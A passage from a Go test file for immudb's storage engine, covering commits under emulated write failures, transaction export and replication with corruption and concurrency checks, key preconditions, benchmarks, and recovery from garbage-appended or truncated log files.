filepath.Join(path, \"commit\")\n\tappendableOpts.WithFileExt(\"txi\")\n\tcLog, err := multiapp.Open(cLogPath, appendableOpts)\n\trequire.NoError(t, err)\n\n\tfailingVLog := &FailingAppendable{vLog, 2}\n\tfailingTxLog := &FailingAppendable{txLog, 5}\n\tfailingCLog := &FailingAppendable{cLog, 5}\n\n\timmuStore, err := OpenWith(path, []appendable.Appendable{failingVLog}, failingTxLog, failingCLog, opts)\n\trequire.NoError(t, err)\n\n\ttxHolder := tempTxHolder(t, immuStore)\n\n\ttxReader, err := immuStore.NewTxReader(1, false, txHolder)\n\trequire.NoError(t, err)\n\n\t_, err = txReader.Read()\n\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\n\ttxCount := 100\n\teCount := 64\n\n\temulatedFailures := 0\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, 4)\n\t\t\tbinary.BigEndian.PutUint32(k, uint32(j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(j+1))\n\n\t\t\terr = tx.Set(k, nil, v)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttxhdr, err := tx.Commit(context.Background())\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, errEmulatedAppendableError)\n\t\t\temulatedFailures++\n\t\t} else {\n\t\t\trequire.Equal(t, uint64(i+1-emulatedFailures), txhdr.ID)\n\t\t}\n\t}\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n\n\timmuStore, err = Open(path, opts)\n\trequire.NoError(t, err)\n\n\ttxHolder = tempTxHolder(t, immuStore)\n\n\tr, err := immuStore.NewTxReader(1, false, txHolder)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < txCount-emulatedFailures; i++ {\n\t\ttx, err := r.Read()\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\n\t\tentrySpecDigest, err := EntrySpecDigestFor(tx.header.Version)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, entrySpecDigest)\n\n\t\ttxEntries := tx.Entries()\n\t\tassert.Equal(t, eCount, len(txEntries))\n\n\t\tfor _, txe := range txEntries {\n\t\t\tproof, err := tx.Proof(txe.key())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tvalue := make([]byte, txe.vLen)\n\t\t\t_, err = immuStore.readValueAt(value, txe.vOff, txe.hVal, false)\n\t\t\trequire.NoError(t, err)\n\n\t\t\te := &EntrySpec{Key: txe.key(), Value: value}\n\n\t\t\tverifies := htree.VerifyInclusion(proof, entrySpecDigest(e), tx.header.Eh)\n\t\t\trequire.True(t, verifies)\n\t\t}\n\t}\n\n\t_, err = r.Read()\n\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\n\trequire.Equal(t, uint64(txCount-emulatedFailures), immuStore.TxCount())\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestExportAndReplicateTx(t *testing.T) {\n\tprimaryDir := t.TempDir()\n\n\tprimaryStore, err := Open(primaryDir, DefaultOptions())\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, primaryStore)\n\n\treplicaDir := t.TempDir()\n\n\treplicaStore, err := Open(replicaDir, DefaultOptions())\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, replicaStore)\n\n\ttx, err := primaryStore.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\ttx.WithMetadata(NewTxMetadata())\n\n\terr = tx.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\trequire.NoError(t, err)\n\n\thdr, err := tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\ttxholder := tempTxHolder(t, primaryStore)\n\n\tetx, err := primaryStore.ExportTx(1, false, false, txholder)\n\trequire.NoError(t, err)\n\n\trhdr, err := replicaStore.ReplicateTx(context.Background(), etx, false, false)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, rhdr)\n\n\trequire.Equal(t, hdr.ID, rhdr.ID)\n\trequire.Equal(t, hdr.Alh(), rhdr.Alh())\n\n\t_, err = replicaStore.ReplicateTx(context.Background(), nil, false, false)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n}\n\nfunc TestExportAndReplicateTxCornerCases(t *testing.T) {\n\tprimaryDir := t.TempDir()\n\n\tprimaryStore, err := Open(primaryDir, DefaultOptions())\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, primaryStore)\n\n\treplicaDir := t.TempDir()\n\n\treplicaStore, err := Open(replicaDir, DefaultOptions().WithMaxActiveTransactions(1))\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, replicaStore)\n\n\ttx, err := primaryStore.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\ttx.WithMetadata(NewTxMetadata())\n\n\terr = tx.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\trequire.NoError(t, err)\n\n\thdr, err := tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\ttxholder := tempTxHolder(t, primaryStore)\n\n\tt.Run(\"prevent replicating broken data\", func(t *testing.T) {\n\t\tetx, err := primaryStore.ExportTx(1, false, false, txholder)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := range etx {\n\t\t\tif i >= 44 && i < 52 {\n\t\t\t\t// Timestamp - this field is part of innerHash thus is not validated through EH\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tt.Run(fmt.Sprintf(\"broken byte at position %d\", i), func(t *testing.T) {\n\n\t\t\t\t// Break etx by modifying a single byte of the packet\n\t\t\t\tbrokenEtx := make([]byte, len(etx))\n\t\t\t\tcopy(brokenEtx, etx)\n\t\t\t\tbrokenEtx[i]++\n\n\t\t\t\t_, err = replicaStore.ReplicateTx(context.Background(), brokenEtx, false, false)\n\t\t\t\trequire.Error(t, err)\n\n\t\t\t\tif !errors.Is(err, ErrIllegalArguments) &&\n\t\t\t\t\t!errors.Is(err, ErrMaxActiveTransactionsLimitExceeded) &&\n\t\t\t\t\t!errors.Is(err, ErrCorruptedData) &&\n\t\t\t\t\t!errors.Is(err, ErrNewerVersionOrCorruptedData) {\n\t\t\t\t\trequire.Failf(t, \"Incorrect error\", \"Incorrect error received from validation: %v\", err)\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t})\n}\n\nfunc TestExportAndReplicateTxSimultaneousWriters(t *testing.T) {\n\tprimaryDir := t.TempDir()\n\n\tprimaryStore, err := Open(primaryDir, DefaultOptions())\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, primaryStore)\n\n\treplicaDir := t.TempDir()\n\n\treplicaOpts := DefaultOptions().WithMaxConcurrency(100)\n\treplicaStore, err := Open(replicaDir, replicaOpts)\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, replicaStore)\n\n\tconst txCount = 3\n\n\tfor i := 0; i < txCount; i++ {\n\t\tt.Run(fmt.Sprintf(\"tx: %d\", i), func(t *testing.T) {\n\t\t\ttx, err := primaryStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\ttx.WithMetadata(NewTxMetadata())\n\n\t\t\terr = tx.Set([]byte(fmt.Sprintf(\"key%d\", i)), nil, []byte(fmt.Sprintf(\"value%d\", i)))\n\t\t\trequire.NoError(t, err)\n\n\t\t\thdr, err := tx.Commit(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, hdr)\n\n\t\t\ttxholder := tempTxHolder(t, replicaStore)\n\t\t\tetx, err := primaryStore.ExportTx(hdr.ID, false, false, txholder)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t// Replicate the same transactions concurrently, only one must succeed\n\t\t\terrors := make([]error, replicaStore.maxConcurrency)\n\t\t\twg := sync.WaitGroup{}\n\t\t\tfor j := 0; j < replicaStore.maxConcurrency; j++ {\n\t\t\t\twg.Add(1)\n\t\t\t\tgo func(j int) {\n\t\t\t\t\tdefer wg.Done()\n\t\t\t\t\t_, errors[j] = replicaStore.ReplicateTx(context.Background(), etx, false, false)\n\t\t\t\t}(j)\n\t\t\t}\n\t\t\twg.Wait()\n\n\t\t\twinnersCnt := 0\n\t\t\tfor _, err := range errors {\n\t\t\t\tif err == nil {\n\t\t\t\t\twinnersCnt++\n\t\t\t\t} else {\n\t\t\t\t\trequire.ErrorIs(t, err, ErrTxAlreadyCommitted)\n\t\t\t\t}\n\t\t\t}\n\t\t\trequire.Equal(t, 1, winnersCnt)\n\t\t\trequire.EqualValues(t, i+1, replicaStore.TxCount())\n\t\t})\n\t}\n}\n\nfunc TestExportAndReplicateTxDisorderedReplication(t *testing.T) {\n\tprimaryDir := t.TempDir()\n\n\tprimaryStore, err := Open(primaryDir, DefaultOptions())\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, primaryStore)\n\n\treplicaDir := t.TempDir()\n\n\treplicaOpts := DefaultOptions().WithMaxConcurrency(100)\n\treplicaStore, err := Open(replicaDir, replicaOpts)\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, replicaStore)\n\n\tconst txCount = 15\n\n\tetxs := make(chan []byte, txCount)\n\n\ttxholder := tempTxHolder(t, replicaStore)\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := primaryStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx.WithMetadata(NewTxMetadata())\n\n\t\terr = tx.Set([]byte(fmt.Sprintf(\"key%d\", i)), nil, []byte(fmt.Sprintf(\"value%d\", i)))\n\t\trequire.NoError(t, err)\n\n\t\thdr, err := tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, hdr)\n\n\t\tetx, err := primaryStore.ExportTx(hdr.ID, false, false, txholder)\n\t\trequire.NoError(t, err)\n\n\t\tetxs <- etx\n\t}\n\n\tclose(etxs)\n\n\tconst replicatorsCount = 3\n\n\tvar wg sync.WaitGroup\n\twg.Add(replicatorsCount)\n\n\trand.Seed(time.Now().UnixNano())\n\n\tfor r := 0; r < replicatorsCount; r++ {\n\t\tgo func(replicatorID int) {\n\t\t\tdefer wg.Done()\n\t\t\tfor etx := range etxs {\n\t\t\t\ttime.Sleep(time.Duration(rand.Intn(100)) * time.Millisecond)\n\n\t\t\t\t_, err = replicaStore.ReplicateTx(context.Background(), etx, false, false)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\t\t}(r)\n\t}\n\n\t// it's needed to avoid getting 'already closed' error if the store is closed fast enough\n\twg.Wait()\n\n\tif t.Failed() {\n\t\treturn\n\t}\n\n\terr = replicaStore.WaitForTx(context.Background(), uint64(txCount), false)\n\trequire.NoError(t, err)\n}\n\nvar errEmulatedAppendableError = errors.New(\"emulated appendable error\")\n\ntype FailingAppendable struct {\n\tappendable.Appendable\n\terrorRate int\n}\n\nfunc (la *FailingAppendable) Append(bs []byte) (off int64, n int, err error) {\n\tif rand.Intn(100) < la.errorRate {\n\t\treturn 0, 0, errEmulatedAppendableError\n\t}\n\n\treturn la.Appendable.Append(bs)\n}\n\nfunc TestImmudbStoreCommitWithPreconditions(t *testing.T) {\n\timmuStore, err := Open(t.TempDir(), DefaultOptions().WithMaxConcurrency(1))\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\t// set initial value\n\totx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\terr = otx.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\trequire.NoError(t, err)\n\n\thdr1, err := otx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\t// delete entry\n\totx, err = immuStore.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\terr = otx.Delete(context.Background(), []byte(\"key1\"))\n\trequire.NoError(t, err)\n\n\t_, err = otx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\tt.Run(\"must not exist constraint should pass when evaluated over a deleted key\", func(t *testing.T) {\n\t\totx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.Set([]byte(\"key2\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.AddPrecondition(&PreconditionKeyMustNotExist{[]byte(\"key1\")})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = otx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"must exist constraint should pass when evaluated over an existent key\", func(t *testing.T) {\n\t\totx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.Set([]byte(\"key3\"), nil, []byte(\"value3\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.AddPrecondition(&PreconditionKeyMustExist{[]byte(\"key2\")})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = otx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"must not be modified after constraint should not pass when key is deleted after specified tx\", func(t *testing.T) {\n\t\totx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.Set([]byte(\"key4\"), nil, []byte(\"value4\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.AddPrecondition(&PreconditionKeyNotModifiedAfterTx{Key: []byte(\"key1\"), TxID: hdr1.ID})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = otx.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrPreconditionFailed)\n\t})\n\n\tt.Run(\"must not be modified after constraint should pass when if key does not exist\", func(t *testing.T) {\n\t\totx, err = immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.Set([]byte(\"key4\"), nil, []byte(\"value4\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.AddPrecondition(&PreconditionKeyNotModifiedAfterTx{Key: []byte(\"nonExistentKey\"), TxID: 1})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = otx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t})\n\n\t// insert an expirable entry\n\totx, err = immuStore.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\tmd := NewKVMetadata()\n\terr = md.ExpiresAt(time.Now().Add(1 * time.Second))\n\trequire.NoError(t, err)\n\n\terr = otx.Set([]byte(\"expirableKey\"), md, []byte(\"expirableValue\"))\n\trequire.NoError(t, err)\n\n\thdr, err := otx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\t// wait for entry to be expired\n\tfor i := 0; ; i++ {\n\t\trequire.Less(t, i, 20, \"entry expiration failed\")\n\n\t\ttime.Sleep(100 * time.Millisecond)\n\n\t\t_, err = immuStore.Get(context.Background(), []byte(\"expirableKey\"))\n\t\tif err != nil && errors.Is(err, ErrKeyNotFound) {\n\t\t\tbreak\n\t\t}\n\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"must not be modified after constraint should not pass when if expired and expiration was set after specified tx\", func(t *testing.T) {\n\t\totx, err = immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.Set([]byte(\"key5\"), nil, []byte(\"value5\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.AddPrecondition(&PreconditionKeyNotModifiedAfterTx{Key: []byte(\"expirableKey\"), TxID: hdr.ID - 1})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = otx.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrPreconditionFailed)\n\t})\n\n\tt.Run(\"must not exist constraint should pass when if expired\", func(t *testing.T) {\n\t\totx, err = immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.Set([]byte(\"key5\"), nil, []byte(\"value5\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.AddPrecondition(&PreconditionKeyMustNotExist{Key: []byte(\"expirableKey\")})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = otx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"must exist constraint should not pass when if expired\", func(t *testing.T) {\n\t\totx, err = immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.Set([]byte(\"key5\"), nil, []byte(\"value5\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = otx.AddPrecondition(&PreconditionKeyMustExist{Key: []byte(\"expirableKey\")})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = otx.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrPreconditionFailed)\n\t})\n}\n\nfunc BenchmarkSyncedAppend(b *testing.B) {\n\topts := DefaultOptions().\n\t\tWithMaxConcurrency(100).\n\t\tWithSynced(true).\n\t\tWithAHTOptions(DefaultAHTOptions().WithSyncThld(1_000)).\n\t\tWithSyncFrequency(20 * time.Millisecond).\n\t\tWithMaxActiveTransactions(100)\n\n\timmuStore, _ := Open(b.TempDir(), opts)\n\n\tb.ResetTimer()\n\n\tfor i := 0; i < b.N; i++ {\n\t\tworkerCount := 100\n\n\t\tvar wg sync.WaitGroup\n\t\twg.Add(workerCount)\n\n\t\tfor w := 0; w < workerCount; w++ {\n\t\t\tgo func() {\n\t\t\t\ttxCount := 100\n\t\t\t\teCount := 1\n\n\t\t\t\tcommitted := 0\n\n\t\t\t\tfor committed < txCount {\n\t\t\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\t\t\trequire.NoError(b, err)\n\n\t\t\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\t\t\tk := make([]byte, 8)\n\t\t\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\t\t\t\tv := make([]byte, 8)\n\t\t\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\t\t\trequire.NoError(b, err)\n\t\t\t\t\t}\n\n\t\t\t\t\t_, err = tx.AsyncCommit(context.Background())\n\t\t\t\t\tif err == ErrMaxConcurrencyLimitExceeded || err == ErrMaxActiveTransactionsLimitExceeded {\n\t\t\t\t\t\ttime.Sleep(1 * time.Nanosecond)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\trequire.NoError(b, err)\n\n\t\t\t\t\tcommitted++\n\t\t\t\t}\n\n\t\t\t\twg.Done()\n\t\t\t}()\n\t\t}\n\n\t\twg.Wait()\n\t}\n}\n\nfunc BenchmarkAsyncAppend(b *testing.B) {\n\topts := DefaultOptions().\n\t\tWithSynced(false).\n\t\tWithMaxConcurrency(1).\n\t\tWithMaxActiveTransactions(100)\n\n\timmuStore, _ := Open(b.TempDir(), opts)\n\n\tfor i := 0; i < b.N; i++ {\n\t\ttxCount := 1000\n\t\teCount := 1000\n\n\t\tfor i := 0; i < txCount; i++ {\n\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(b, err)\n\n\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\tk := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\t\tv := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\trequire.NoError(b, err)\n\t\t\t}\n\n\t\t\t_, err = tx.Commit(context.Background())\n\t\t\trequire.NoError(b, err)\n\t\t}\n\t}\n}\n\nfunc BenchmarkSyncedAppendWithExtCommitAllowance(b *testing.B) {\n\topts := DefaultOptions().\n\t\tWithMaxConcurrency(100).\n\t\tWithSynced(true).\n\t\tWithAHTOptions(DefaultAHTOptions().WithSyncThld(1_000)).\n\t\tWithSyncFrequency(20 * time.Millisecond).\n\t\tWithMaxActiveTransactions(1000).\n\t\tWithExternalCommitAllowance(true)\n\n\timmuStore, _ := Open(b.TempDir(), opts)\n\n\tgo func() {\n\t\tfor {\n\t\t\terr := immuStore.AllowCommitUpto(immuStore.LastPrecommittedTxID())\n\t\t\tif err == ErrAlreadyClosed {\n\t\t\t\treturn\n\t\t\t}\n\t\t\trequire.NoError(b, err)\n\n\t\t\ttime.Sleep(time.Duration(5) * time.Millisecond)\n\t\t}\n\t}()\n\n\tb.ResetTimer()\n\n\tfor i := 0; i < b.N; i++ {\n\t\tworkerCount := 100\n\n\t\tvar wg sync.WaitGroup\n\t\twg.Add(workerCount)\n\n\t\tfor w := 0; w < workerCount; w++ {\n\t\t\tgo func() {\n\t\t\t\ttxCount := 10\n\t\t\t\teCount := 1\n\n\t\t\t\tcommitted := 0\n\n\t\t\t\tfor committed < txCount {\n\t\t\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\t\t\trequire.NoError(b, err)\n\n\t\t\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\t\t\tk := make([]byte, 8)\n\t\t\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\t\t\t\tv := make([]byte, 8)\n\t\t\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\t\t\trequire.NoError(b, err)\n\t\t\t\t\t}\n\n\t\t\t\t\t_, err = tx.AsyncCommit(context.Background())\n\t\t\t\t\tif err == ErrMaxConcurrencyLimitExceeded || err == ErrMaxActiveTransactionsLimitExceeded {\n\t\t\t\t\t\ttime.Sleep(1 * time.Nanosecond)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\trequire.NoError(b, err)\n\n\t\t\t\t\tcommitted++\n\t\t\t\t}\n\n\t\t\t\twg.Done()\n\t\t\t}()\n\t\t}\n\n\t\twg.Wait()\n\t}\n}\n\nfunc BenchmarkAsyncAppendWithExtCommitAllowance(b *testing.B) {\n\topts := DefaultOptions().\n\t\tWithSynced(false).\n\t\tWithMaxConcurrency(1).\n\t\tWithMaxActiveTransactions(1000).\n\t\tWithExternalCommitAllowance(true)\n\n\timmuStore, _ := Open(b.TempDir(), opts)\n\n\tgo func() {\n\t\tfor {\n\t\t\terr := immuStore.AllowCommitUpto(immuStore.LastPrecommittedTxID())\n\t\t\tif err == ErrAlreadyClosed {\n\t\t\t\treturn\n\t\t\t}\n\t\t\trequire.NoError(b, err)\n\t\t\ttime.Sleep(time.Duration(5) * time.Millisecond)\n\t\t}\n\t}()\n\n\tfor i := 0; i < b.N; i++ {\n\t\ttxCount := 1000\n\t\teCount := 1000\n\n\t\tfor i := 0; i < txCount; i++ {\n\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(b, err)\n\n\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\tk := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\t\tv := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\trequire.NoError(b, err)\n\t\t\t}\n\n\t\t\t_, err = tx.Commit(context.Background())\n\t\t\trequire.NoError(b, err)\n\t\t}\n\t}\n}\n\nfunc BenchmarkExportTx(b *testing.B) {\n\topts := DefaultOptions().WithSynced(false)\n\n\timmuStore, _ := Open(b.TempDir(), opts)\n\n\ttxCount := 1_000\n\teCount := 1_000\n\tkeyLen := 40\n\tvalLen := 256\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(b, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, keyLen)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(i*eCount+j))\n\n\t\t\tv := make([]byte, valLen)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(j))\n\n\t\t\terr = tx.Set(k, nil, v)\n\t\t\trequire.NoError(b, err)\n\t\t}\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(b, err)\n\t}\n\n\ttx, err := immuStore.fetchAllocTx()\n\trequire.NoError(b, err)\n\tdefer immuStore.releaseAllocTx(tx)\n\n\tb.ResetTimer()\n\n\tfor i := 0; i < b.N; i++ {\n\t\tfor i := 0; i < txCount; i++ {\n\t\t\t_, err := immuStore.ExportTx(uint64(i+1), false, false, tx)\n\t\t\trequire.NoError(b, err)\n\t\t}\n\t}\n}\n\nfunc TestImmudbStoreIncompleteCommitWrite(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().\n\t\tWithEmbeddedValues(false).\n\t\tWithPreallocFiles(false)\n\n\timmuStore, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\n\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\terr = tx.Set([]byte(\"key1\"), nil, []byte(\"val1\"))\n\trequire.NoError(t, err)\n\n\thdr, err := tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n\n\t// Append garbage at the end of files, immudb must be able to recover\n\t// as long as the full commit log entry is not created\n\n\tappend := func(path string, bytes int) {\n\t\tfl, err := os.OpenFile(filepath.Join(dir, path), os.O_APPEND|os.O_WRONLY, 0644)\n\t\trequire.NoError(t, err)\n\t\tdefer fl.Close()\n\n\t\tbuff := make([]byte, bytes)\n\t\t_, err = rand.Read(buff)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = fl.Write(buff)\n\t\trequire.NoError(t, err)\n\n\t\terr = fl.Sync()\n\t\trequire.NoError(t, err)\n\t}\n\n\tappend(\"commit/00000000.txi\", 11) // Commit log entry is 12 bytes, must add less than that\n\tappend(\"tx/00000000.tx\", 100)\n\tappend(\"val_0/00000000.val\", 100)\n\n\t// Force reindexing and rebuilding the aht tree\n\terr = os.RemoveAll(filepath.Join(dir, \"aht\"))\n\trequire.NoError(t, err)\n\n\timmuStore, err = Open(dir, opts)\n\trequire.NoError(t, err)\n\n\tvalRef, err := immuStore.Get(context.Background(), []byte(\"key1\"))\n\trequire.NoError(t, err)\n\trequire.Equal(t, hdr.ID, valRef.Tx())\n\n\tvalue, err := valRef.Resolve()\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte(\"val1\"), value)\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestImmudbStoreTruncatedCommitLog(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().\n\t\tWithEmbeddedValues(false).\n\t\tWithPreallocFiles(false)\n\n\timmuStore, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\n\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\terr = tx.Set([]byte(\"key1\"), nil, []byte(\"val1\"))\n\trequire.NoError(t, err)\n\n\thdr1, err := tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr1)\n\n\ttx, err = immuStore.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\terr = tx.Set([]byte(\"key1\"), nil, []byte(\"val2\"))\n\trequire.NoError(t, err)\n\n\thdr2, err := tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr2)\n\trequire.NotEqual(t, hdr1.ID, hdr2.ID)\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n\n\t// Truncate the commit and tx logs - it must discard the last transaction but other than\n\t// that the immudb should work correctly\n\t// Note: This may change once the truthly appendable interface is implemented\n\t//       (https://github.com/codenotary/immudb/issues/858)\n\n\tcLogFile := filepath.Join(dir, \"commit/00000000.txi\")\n\tstat, err := os.Stat(cLogFile)\n\trequire.NoError(t, err)\n\n\terr = os.Truncate(cLogFile, stat.Size()-1)\n\trequire.NoError(t, err)\n\n\ttxLogFile := filepath.Join(dir, \"tx/00000000.tx\")\n\tstat, err = os.Stat(txLogFile)\n\trequire.NoError(t, err)\n\n\terr = os.Truncate(txLogFile, stat.Size()-1)\n\trequire.NoError(t, err)\n\n\t// Remove the index, it does not support truncation of commits now\n\terr = os.RemoveAll(filepath.Join(dir, \"index\"))\n\trequire.NoError(t, err)\n\n\timmuStore, err = Open(dir, opts)\n\trequire.NoError(t, err)\n\n\terr = immuStore.WaitForIndexingUpto(context.Background(), hdr1.ID)\n\trequire.NoError(t, err)\n\n\tvalRef, err := immuStore.Get(context.Background(), []byte(\"key1\"))\n\trequire.NoError(t, err)\n\trequire.Equal(t, hdr1.ID, valRef.Tx())\n\n\tvalue, err := valRef.Resolve()\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte(\"val1\"), value)\n\n\t// ensure we can correctly write more data into the store\n\ttx, err = immuStore.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\terr = tx.Set([]byte(\"key1\"), nil, []byte(\"val2\"))\n\trequire.NoError(t, err)\n\n\t_, err = tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\tvalRef, err = immuStore.Get(context.Background(), []byte(\"key1\"))\n\trequire.NoError(t, err)\n\trequire.Equal(t, hdr2.ID, valRef.Tx())\n\n\tvalue, err = valRef.Resolve()\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte(\"val2\"), value)\n\n\t// test after reopening the store\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n\n\timmuStore, err = 